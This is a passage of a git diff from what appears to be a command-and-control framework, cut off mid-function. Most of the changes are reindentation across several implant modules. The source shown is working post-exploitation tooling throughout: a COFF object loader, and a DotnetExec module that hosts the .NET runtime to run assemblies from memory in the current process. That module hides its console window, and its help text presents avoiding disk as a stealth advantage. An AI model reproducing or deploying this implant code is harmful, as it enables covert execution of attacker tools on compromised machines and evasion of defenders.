c2RetMessage.cmd(); + m_instances.push_back(inst); + } + } - return 0; + return 0; } diff --git a/modules/Chisel/Chisel.hpp b/modules/Chisel/Chisel.hpp index fc80336..ef71fe3 100644 --- a/modules/Chisel/Chisel.hpp +++ b/modules/Chisel/Chisel.hpp @@ -7,21 +7,21 @@ class Chisel : public ModuleCmd { public: - Chisel(); - ~Chisel(); + Chisel(); + ~Chisel(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int followUp(const C2Message &c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int followUp(const C2Message &c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::vector> m_instances; + std::vector> m_instances; }; diff --git a/modules/CoffLoader/CoffLoader.cpp b/modules/CoffLoader/CoffLoader.cpp index c9beb41..b30fc4e 100644 --- a/modules/CoffLoader/CoffLoader.cpp +++ b/modules/CoffLoader/CoffLoader.cpp @@ -44,9 +44,9 @@ __attribute__((visibility("default"))) CoffLoader* CoffConstructor() CoffLoader::CoffLoader() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -57,24 +57,24 @@ CoffLoader::~CoffLoader() std::string CoffLoader::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "coffLoader:\n"; - info += "Load a .o coff file and execute it.\n"; + info += "coffLoader:\n"; + info += "Load a .o coff file and execute it.\n"; info += "Coff take packed argument as entry, you get to specify the type as a string of [Z,z,s,i] for wstring, string, short, int.\n"; - info += "exemple:\n"; - info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n"; + info += "exemple:\n"; + info += "- coffLoader ./dir.x64.o go Zs c:\\ 0\n"; info += "- coffLoader ./whoami.x64.o\n"; #endif - return info; + return info; } int CoffLoader::init(std::vector& splitedCmd, C2Message& c2Message) { if (splitedCmd.size() < 3) { - c2Message.set_returnvalue(getInfo()); - return -1; + c2Message.set_returnvalue(getInfo()); + return -1; } c2Message.set_instruction(splitedCmd[0]); @@ -116,22 +116,22 @@ int CoffLoader::init(std::vector& splitedCmd, C2Message& c2Message) } - return 0; + return 0; } int CoffLoader::process(C2Message &c2Message, C2Message &c2RetMessage) { - std::string payload = c2Message.data(); + std::string payload = c2Message.data(); std::string functionName = c2Message.cmd(); std::string args = c2Message.args(); - std::string result = coffLoader(payload, functionName, args); + std::string result = coffLoader(payload, functionName, args); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_returnvalue(result); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_returnvalue(result); - return 0; + return 0; } @@ -191,5 +191,5 @@ std::string CoffLoader::coffLoader(std::string& payload, std::string& functionNa } #endif - return result; + return result; } \ No newline at end of file diff --git a/modules/CoffLoader/CoffLoader.hpp b/modules/CoffLoader/CoffLoader.hpp index aa06116..78156d7 100644 --- a/modules/CoffLoader/CoffLoader.hpp +++ b/modules/CoffLoader/CoffLoader.hpp @@ -7,20 +7,20 @@ class CoffLoader : public ModuleCmd { public: - CoffLoader(); - ~CoffLoader(); + CoffLoader(); + ~CoffLoader(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed); + std::string coffLoader(std::string& payload, std::string& functionName, std::string& argsCompressed); }; diff --git a/modules/DotnetExec/AssemblyManager.cpp b/modules/DotnetExec/AssemblyManager.cpp index 69feca3..3562243 100644 --- a/modules/DotnetExec/AssemblyManager.cpp +++ b/modules/DotnetExec/AssemblyManager.cpp @@ -1,62 +1,62 @@ -#include "AssemblyManager.hpp" - - -MyAssemblyManager::MyAssemblyManager(void) -{ - count = 0; - m_assemblyStore = new MyAssemblyStore(); -}; - - -MyAssemblyManager::~MyAssemblyManager(void) -{ - delete m_assemblyStore; -}; - - -HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef() -{ - return(++((MyAssemblyManager*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyAssemblyManager::Release() -{ - if (--((MyAssemblyManager*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyAssemblyManager*)this)->count; -} - - -// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them) -// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation -HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) -{ - *ppReferenceList = NULL; - return S_OK; -} - - -//This is responsible for returning our IHostAssemblyStore implementation -HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) -{ - *ppAssemblyStore = m_assemblyStore; - return S_OK; -} - +#include "AssemblyManager.hpp" + + +MyAssemblyManager::MyAssemblyManager(void) +{ + count = 0; + m_assemblyStore = new MyAssemblyStore(); +}; + + +MyAssemblyManager::~MyAssemblyManager(void) +{ + delete m_assemblyStore; +}; + + +HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef() +{ + return(++((MyAssemblyManager*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyAssemblyManager::Release() +{ + if (--((MyAssemblyManager*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyAssemblyManager*)this)->count; +} + + +// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them) +// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation +HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList) +{ + *ppReferenceList = NULL; + return S_OK; +} + + +//This is responsible for returning our IHostAssemblyStore implementation +HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore) +{ + *ppAssemblyStore = m_assemblyStore; + return S_OK; +} + diff --git a/modules/DotnetExec/AssemblyManager.hpp b/modules/DotnetExec/AssemblyManager.hpp index ec1cfac..1ff2269 100644 --- a/modules/DotnetExec/AssemblyManager.hpp +++ b/modules/DotnetExec/AssemblyManager.hpp @@ -1,41 +1,41 @@ -#pragma once -#include "AssemblyStore.hpp" - - -class MyAssemblyManager : public IHostAssemblyManager -{ -public: - MyAssemblyManager(void); - ~MyAssemblyManager(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList); - virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore); - - int setTargetAssembly(TargetAssembly * targetAssembly) - { - m_assemblyStore->setTargetAssembly(targetAssembly); - return 0; - } - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) - { - m_assemblyStore->updateTargetAssembly(identityManager, data); - return 0; - } - - LPWSTR getAssemblyInfo() - { - return m_assemblyStore->getAssemblyInfo(); - }; - -protected: - DWORD count; - -private: - MyAssemblyStore* m_assemblyStore; - +#pragma once +#include "AssemblyStore.hpp" + + +class MyAssemblyManager : public IHostAssemblyManager +{ +public: + MyAssemblyManager(void); + ~MyAssemblyManager(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT STDMETHODCALLTYPE GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList); + virtual HRESULT STDMETHODCALLTYPE GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore); + + int setTargetAssembly(TargetAssembly * targetAssembly) + { + m_assemblyStore->setTargetAssembly(targetAssembly); + return 0; + } + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) + { + m_assemblyStore->updateTargetAssembly(identityManager, data); + return 0; + } + + LPWSTR getAssemblyInfo() + { + return m_assemblyStore->getAssemblyInfo(); + }; + +protected: + DWORD count; + +private: + MyAssemblyStore* m_assemblyStore; + }; \ No newline at end of file diff --git a/modules/DotnetExec/AssemblyStore.cpp b/modules/DotnetExec/AssemblyStore.cpp index a30d1a2..fe160a8 100644 --- a/modules/DotnetExec/AssemblyStore.cpp +++ b/modules/DotnetExec/AssemblyStore.cpp @@ -1,114 +1,114 @@ -#include "AssemblyStore.hpp" -#include - -#include - -#include -#pragma comment(lib, "Shlwapi.lib") - - -MyAssemblyStore::MyAssemblyStore(void) -{ - count = 0; - m_targetAssembly = nullptr; -}; - - -MyAssemblyStore::~MyAssemblyStore(void) -{ -}; - - -HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv) -{ - if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore)) - { - *ppv = 0; - return E_NOINTERFACE; - } - *ppv = this; - this->AddRef(); - return S_OK; -} - - -ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef() -{ - return(++((MyAssemblyStore*)this)->count); -} - - -ULONG STDMETHODCALLTYPE MyAssemblyStore::Release() -{ - if (--((MyAssemblyStore*)this)->count == 0) - { - GlobalFree(this); - return 0; - } - return ((MyAssemblyStore*)this)->count; -} - - -int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) -{ - m_assembly=data; - - if(m_assemblyStream!=nullptr) - m_assemblyStream->Release(); - - m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size()); - identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize); - - // std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl; - // std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl; - m_id++; - - return 0; -} - - -int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) -{ - m_targetAssembly->updateTargetAssembly(identityManager, data); - - return 0; -} - - - -HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB) -{ - // std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl; - // std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl; - // std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl; - - // Check if the identity of the assembly being loaded is the one we want - if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0) - { - //This isn't used for anything here so just set it to 0 - *pContext = 0; - - UINT64 id = m_targetAssembly->getId(); - *pAssemblyId = id; - - //Create an IStream using our in-memory assembly bytes and return it to the CLR - *ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize()); - return S_OK; - - } - - // std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl; - - // If it's not our assembly then tell the CLR to handle it - return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); -} - - -// This shouldn't really get called but if it does we'll just tell the CLR to find it -HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB) -{ - // std::cout << "MyAssemblyStore::ProvideModule" << std::endl; - - //Tell the CLR to handle this - return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); -} +#include "AssemblyStore.hpp" +#include + +#include + +#include +#pragma comment(lib, "Shlwapi.lib") + + +MyAssemblyStore::MyAssemblyStore(void) +{ + count = 0; + m_targetAssembly = nullptr; +}; + + +MyAssemblyStore::~MyAssemblyStore(void) +{ +}; + + +HRESULT STDMETHODCALLTYPE MyAssemblyStore::QueryInterface(REFIID vTableGuid, void** ppv) +{ + if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyStore)) + { + *ppv = 0; + return E_NOINTERFACE; + } + *ppv = this; + this->AddRef(); + return S_OK; +} + + +ULONG STDMETHODCALLTYPE MyAssemblyStore::AddRef() +{ + return(++((MyAssemblyStore*)this)->count); +} + + +ULONG STDMETHODCALLTYPE MyAssemblyStore::Release() +{ + if (--((MyAssemblyStore*)this)->count == 0) + { + GlobalFree(this); + return 0; + } + return ((MyAssemblyStore*)this)->count; +} + + +int TargetAssembly::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) +{ + m_assembly=data; + + if(m_assemblyStream!=nullptr) + m_assemblyStream->Release(); + + m_assemblyStream = SHCreateMemStream((BYTE *)m_assembly.data(), m_assembly.size()); + identityManager->GetBindingIdentityFromStream(m_assemblyStream, CLR_ASSEMBLY_IDENTITY_FLAGS_DEFAULT, m_assemblyInfo, &m_identityBufferSize); + + // std::cout << "updateTargetAssembly " << m_assembly.size() << std::endl; + // std::wcout << "assemblyInfo " << m_assemblyInfo << std::endl; + m_id++; + + return 0; +} + + +int MyAssemblyStore::updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data) +{ + m_targetAssembly->updateTargetAssembly(identityManager, data); + + return 0; +} + + + +HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB) +{ + // std::cout << "MyAssemblyStore::ProvideAssembly " << std::endl; + // std::wcout << "pBindInfo->lpPostPolicyIdentity " << pBindInfo->lpPostPolicyIdentity << std::endl; + // std::wcout << "m_targetAssembly->getAssemblyInfo() " << m_targetAssembly->getAssemblyInfo() << std::endl; + + // Check if the identity of the assembly being loaded is the one we want + if (m_targetAssembly!=nullptr && wcscmp(m_targetAssembly->getAssemblyInfo(), pBindInfo->lpPostPolicyIdentity) == 0) + { + //This isn't used for anything here so just set it to 0 + *pContext = 0; + + UINT64 id = m_targetAssembly->getId(); + *pAssemblyId = id; + + //Create an IStream using our in-memory assembly bytes and return it to the CLR + *ppStmAssemblyImage = SHCreateMemStream((BYTE *)m_targetAssembly->getAssembly(), m_targetAssembly->getAssemblySize()); + return S_OK; + + } + + // std::wcout <<" !!!!!!!!!!!!!!!!! FAILLLLLLLLLLLLLLED !!!!!!!!!!!" << std::endl; + + // If it's not our assembly then tell the CLR to handle it + return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); +} + + +// This shouldn't really get called but if it does we'll just tell the CLR to find it +HRESULT STDMETHODCALLTYPE MyAssemblyStore::ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB) +{ + // std::cout << "MyAssemblyStore::ProvideModule" << std::endl; + + //Tell the CLR to handle this + return HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND); +} diff --git a/modules/DotnetExec/AssemblyStore.hpp b/modules/DotnetExec/AssemblyStore.hpp index 51416ff..8dcac5c 100644 --- a/modules/DotnetExec/AssemblyStore.hpp +++ b/modules/DotnetExec/AssemblyStore.hpp @@ -1,94 +1,94 @@ -#pragma once -#include -#include -#include - -#include - -#include - - -class TargetAssembly -{ -public: - TargetAssembly(void) - { - m_assemblyStream = nullptr; - - m_id = 5000; - m_assemblyInfo = (LPWSTR)malloc(4096); - m_identityBufferSize = 4096; - - }; - ~TargetAssembly(void) - { - free(m_assemblyInfo); - }; - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); - - LPWSTR getAssemblyInfo() - { - return m_assemblyInfo; - }; - - int getId() - { - return m_id; - }; - - char* getAssembly() - { - return m_assembly.data(); - }; - - int getAssemblySize() - { - return m_assembly.size(); - }; - -private: - DWORD m_identityBufferSize; - LPWSTR m_assemblyInfo; - - std::string m_assembly; - - IStream* m_assemblyStream; - - int m_id; -}; - - -class MyAssemblyStore : public IHostAssemblyStore -{ -public: - MyAssemblyStore(void); - ~MyAssemblyStore(void); - - virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); - virtual ULONG STDMETHODCALLTYPE AddRef(void); - virtual ULONG STDMETHODCALLTYPE Release(void); - - virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB); - virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB); - - int setTargetAssembly(TargetAssembly * targetAssembly) - { - m_targetAssembly = targetAssembly; - return 0; - } - - int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); - - LPWSTR getAssemblyInfo() - { - return m_targetAssembly->getAssemblyInfo(); - }; - -protected: - DWORD count; - -private: - TargetAssembly* m_targetAssembly; - +#pragma once +#include +#include +#include + +#include + +#include + + +class TargetAssembly +{ +public: + TargetAssembly(void) + { + m_assemblyStream = nullptr; + + m_id = 5000; + m_assemblyInfo = (LPWSTR)malloc(4096); + m_identityBufferSize = 4096; + + }; + ~TargetAssembly(void) + { + free(m_assemblyInfo); + }; + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); + + LPWSTR getAssemblyInfo() + { + return m_assemblyInfo; + }; + + int getId() + { + return m_id; + }; + + char* getAssembly() + { + return m_assembly.data(); + }; + + int getAssemblySize() + { + return m_assembly.size(); + }; + +private: + DWORD m_identityBufferSize; + LPWSTR m_assemblyInfo; + + std::string m_assembly; + + IStream* m_assemblyStream; + + int m_id; +}; + + +class MyAssemblyStore : public IHostAssemblyStore +{ +public: + MyAssemblyStore(void); + ~MyAssemblyStore(void); + + virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv); + virtual ULONG STDMETHODCALLTYPE AddRef(void); + virtual ULONG STDMETHODCALLTYPE Release(void); + + virtual HRESULT STDMETHODCALLTYPE ProvideAssembly(AssemblyBindInfo* pBindInfo, UINT64* pAssemblyId, UINT64* pContext, IStream** ppStmAssemblyImage, IStream** ppStmPDB); + virtual HRESULT STDMETHODCALLTYPE ProvideModule(ModuleBindInfo* pBindInfo, DWORD* pdwModuleId, IStream** ppStmModuleImage, IStream** ppStmPDB); + + int setTargetAssembly(TargetAssembly * targetAssembly) + { + m_targetAssembly = targetAssembly; + return 0; + } + + int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data); + + LPWSTR getAssemblyInfo() + { + return m_targetAssembly->getAssemblyInfo(); + }; + +protected: + DWORD count; + +private: + TargetAssembly* m_targetAssembly; + }; \ No newline at end of file diff --git a/modules/DotnetExec/DotnetExec.cpp b/modules/DotnetExec/DotnetExec.cpp index 1bd2f6e..726ac02 100644 --- a/modules/DotnetExec/DotnetExec.cpp +++ b/modules/DotnetExec/DotnetExec.cpp @@ -42,39 +42,39 @@ __attribute__((visibility("default"))) DotnetExec* DotnetExecConstructor() DotnetExec::DotnetExec() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { #ifdef _WIN32 - m_firstRun=true; - m_moduleLoaded=false; - m_memEcrypted=false; + m_firstRun=true; + m_moduleLoaded=false; + m_memEcrypted=false; - m_pMetaHost = NULL; - m_pRuntimeInfo=NULL; - m_pClrRuntimeHost=NULL; - m_pCustomHostControl=NULL; - m_pCorHost=NULL; - m_spAppDomainThunk=NULL; - m_spDefaultAppDomain=NULL; - m_targetAssembly=NULL; + m_pMetaHost = NULL; + m_pRuntimeInfo=NULL; + m_pClrRuntimeHost=NULL; + m_pCustomHostControl=NULL; + m_pCorHost=NULL; + m_spAppDomainThunk=NULL; + m_spDefaultAppDomain=NULL; + m_targetAssembly=NULL; - // need a console to catch output from dotnet when using non consol application - // https://www.coresecurity.com/core-labs/articles/running-pes-inline-without-console - if (GetConsoleWindow() == NULL) - { - AllocConsole(); - HWND conHandle = GetConsoleWindow(); - ShowWindow(conHandle, SW_HIDE); - } + // need a console to catch output from dotnet when using non consol application + // https://www.coresecurity.com/core-labs/articles/running-pes-inline-without-console + if (GetConsoleWindow() == NULL) + { + AllocConsole(); + HWND conHandle = GetConsoleWindow(); + ShowWindow(conHandle, SW_HIDE); + } - // An interesting caveat that I found during the development of this tool was that while the redirection for PowerShell worked perfectly the first time, all subsequent calls failed. - // This turned out to be because I was creating a new anonymous pipe on each run and closing it upon cleanup. PowerShell caches the first handle it uses for standard output and when it gets closed, the output redirection breaks down. - // !!! we cannot reuse other pipe during all the life of this CLR -> unload / load new module will not work ! - SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; - CreatePipe(&m_ioPipeRead, &m_ioPipeWrite, &sa, 0x100000); + // An interesting caveat that I found during the development of this tool was that while the redirection for PowerShell worked perfectly the first time, all subsequent calls failed. + // This turned out to be because I was creating a new anonymous pipe on each run and closing it upon cleanup. PowerShell caches the first handle it uses for standard output and when it gets closed, the output redirection breaks down. + // !!! we cannot reuse other pipe during all the life of this CLR -> unload / load new module will not work ! + SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; + CreatePipe(&m_ioPipeRead, &m_ioPipeWrite, &sa, 0x100000); #endif } @@ -82,11 +82,11 @@ DotnetExec::DotnetExec() DotnetExec::~DotnetExec() { #ifdef _WIN32 - clearAssembly(); - clearCLR(); + clearAssembly(); + clearCLR(); - CloseHandle(m_ioPipeWrite); - CloseHandle(m_ioPipeRead); + CloseHandle(m_ioPipeWrite); + CloseHandle(m_ioPipeRead); #endif } @@ -94,97 +94,97 @@ DotnetExec::~DotnetExec() int DotnetExec::clearCLR() { #ifdef _WIN32 - if(m_targetAssembly) - { - delete m_targetAssembly; - m_targetAssembly = NULL; - } - if(m_spDefaultAppDomain) - { - m_spDefaultAppDomain->Release(); - m_spDefaultAppDomain = NULL; - } - if(m_spAppDomainThunk) - { - m_spAppDomainThunk->Release(); - m_spAppDomainThunk = NULL; - } - if(m_pCorHost) - { - m_pCorHost->Release(); - m_pCorHost = NULL; - } - if(m_pCustomHostControl) - { - delete m_pCustomHostControl; - m_pCustomHostControl = NULL; - } - if (m_pClrRuntimeHost) - { - m_pClrRuntimeHost->Release(); - m_pClrRuntimeHost = NULL; - } - if(m_pRuntimeInfo) - { - m_pRuntimeInfo->Release(); - m_pRuntimeInfo = NULL; - } - if(m_pMetaHost) - { - m_pMetaHost->Release(); - m_pMetaHost = NULL; - } - m_firstRun=true; + if(m_targetAssembly) + { + delete m_targetAssembly; + m_targetAssembly = NULL; + } + if(m_spDefaultAppDomain) + { + m_spDefaultAppDomain->Release(); + m_spDefaultAppDomain = NULL; + } + if(m_spAppDomainThunk) + { + m_spAppDomainThunk->Release(); + m_spAppDomainThunk = NULL; + } + if(m_pCorHost) + { + m_pCorHost->Release(); + m_pCorHost = NULL; + } + if(m_pCustomHostControl) + { + delete m_pCustomHostControl; + m_pCustomHostControl = NULL; + } + if (m_pClrRuntimeHost) + { + m_pClrRuntimeHost->Release(); + m_pClrRuntimeHost = NULL; + } + if(m_pRuntimeInfo) + { + m_pRuntimeInfo->Release(); + m_pRuntimeInfo = NULL; + } + if(m_pMetaHost) + { + m_pMetaHost->Release(); + m_pMetaHost = NULL; + } + m_firstRun=true; #endif - return 0; + return 0; } int DotnetExec::clearAssembly() { #ifdef _WIN32 - m_moduleLoaded=false; - m_memEcrypted=false; + m_moduleLoaded=false; + m_memEcrypted=false; #endif - return 0; + return 0; } std::string DotnetExec::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "DotnetExec Module:\n"; - info += "This module allows you to load and execute .NET assemblies (EXE or DLL) in memory.\n"; - info += "The execution occurred in the current process.\n"; - info += "Once an assembly is loaded, it can be reused using its assigned short name.\n\n"; + info += "DotnetExec Module:\n"; + info += "This module allows you to load and execute .NET assemblies (EXE or DLL) in memory.\n"; + info += "The execution occurred in the current process.\n"; + info += "Once an assembly is loaded, it can be reused using its assigned short name.\n\n"; - info += "Usage:\n"; - info += " dotnetExec load \n"; - info += " - Load a .NET assembly (EXE or DLL) into memory.\n"; - info += " - For DLLs, you must specify the fully-qualified type name (e.g., Namespace.ClassName).\n\n"; + info += "Usage:\n"; + info += " dotnetExec load \n"; + info += " - Load a .NET assembly (EXE or DLL) into memory.\n"; + info += " - For DLLs, you must specify the fully-qualified type name (e.g., Namespace.ClassName).\n\n"; - info += " dotnetExec runExe \n"; - info += " - Execute the loaded EXE assembly with optional command-line arguments.\n\n"; + info += " dotnetExec runExe \n"; + info += " - Execute the loaded EXE assembly with optional command-line arguments.\n\n"; - info += " dotnetExec runDll \n"; - info += " - Invoke a specific method from the loaded DLL assembly.\n"; - info += " - You must have specified the type when loading the DLL.\n\n"; + info += " dotnetExec runDll \n"; + info += " - Invoke a specific method from the loaded DLL assembly.\n"; + info += " - You must have specified the type when loading the DLL.\n\n"; - info += "Examples:\n"; - info += " dotnetExec load mytool ./Tool.exe\n"; - info += " dotnetExec runExe mytool \"--list --verbose\"\n\n"; - info += " dotnetExec load libmodule ./Library.dll MyNamespace.MyClass\n"; - info += " dotnetExec runDll libmodule Run \"param1 param2\"\n\n"; + info += "Examples:\n"; + info += " dotnetExec load mytool ./Tool.exe\n"; + info += " dotnetExec runExe mytool \"--list --verbose\"\n\n"; + info += " dotnetExec load libmodule ./Library.dll MyNamespace.MyClass\n"; + info += " dotnetExec runDll libmodule Run \"param1 param2\"\n\n"; - info += "Notes:\n"; - info += " - Assemblies remain in memory and can be re-used without reloading.\n"; - info += " - Make sure the type and method names are correctly specified for DLLs.\n"; - info += " - This module does not persist files to disk, making execution more stealthy.\n"; - info += " - If you performe \"load\" in a process that already have the CLR loaded you could face \"Failed: DefaultAppDomain - Load_2\".\n"; + info += "Notes:\n"; + info += " - Assemblies remain in memory and can be re-used without reloading.\n"; + info += " - Make sure the type and method names are correctly specified for DLLs.\n"; + info += " - This module does not persist files to disk, making execution more stealthy.\n"; + info += " - If you performe \"load\" in a process that already have the CLR loaded you could face \"Failed: DefaultAppDomain - Load_2\".\n"; #endif - return info; + return info; } @@ -223,103 +223,103 @@ int DotnetExec::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if((splitedCmd.size()==4 || splitedCmd.size()==5) && splitedCmd[1]=="load") - { - std::string name=splitedCmd[2]; - std::string inputFile=splitedCmd[3]; - std::string type=""; + if((splitedCmd.size()==4 || splitedCmd.size()==5) && splitedCmd[1]=="load") + { + std::string name=splitedCmd[2]; + std::string inputFile=splitedCmd[3]; + std::string type=""; - if (endsWithDLL(inputFile) && splitedCmd.size()==5) - { - type=splitedCmd[4]; - } - else if (endsWithEXE(inputFile) && splitedCmd.size()==4) - { - type=""; - } - else - { - c2Message.set_returnvalue("For exe typeForDll need to be left empty.\nFor dll typeForDll need to specify the namespace and class: Exemple: PowerShellRunner.PowerShellRunner."); - return -1; - } + if (endsWithDLL(inputFile) && splitedCmd.size()==5) + { + type=splitedCmd[4]; + } + else if (endsWithEXE(inputFile) && splitedCmd.size()==4) + { + type=""; + } + else + { + c2Message.set_returnvalue("For exe typeForDll need to be left empty.\nFor dll typeForDll need to specify the namespace and class: Exemple: PowerShellRunner.PowerShellRunner."); + return -1; + } - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); + std::ifstream myfile; + myfile.open(inputFile, std::ios::binary); - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } + if(!myfile) + { + std::string newInputFile=m_toolsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } + if(!myfile) + { + std::string msg = "Couldn't open file.\n"; + c2Message.set_returnvalue(msg); + return -1; + } - 